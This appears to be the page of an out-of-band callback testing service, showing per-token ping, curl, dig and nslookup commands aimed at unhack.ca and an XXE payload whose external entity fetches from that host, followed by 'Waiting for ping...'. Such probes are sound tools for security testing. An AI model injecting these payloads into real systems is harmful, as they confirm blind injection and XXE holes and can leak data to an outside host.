$ ping -c1 -p 0015239ff7bc362831934acda2705c00 unhack.ca
 
$ curl http://unhack.ca/p/15239ff7bc362831934acda2705c
 
$ dig 15239ff7bc362831934acda2705c @unhack.ca
 
$ dig 15239ff7bc362831934acda2705c.ns.unhack.ca
 
C:\> nslookup 15239ff7bc362831934acda2705c unhack.ca
 
<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/15239ff7bc362831934acda2705c">]>
    <foo>&xxe;</foo>
Waiting for ping...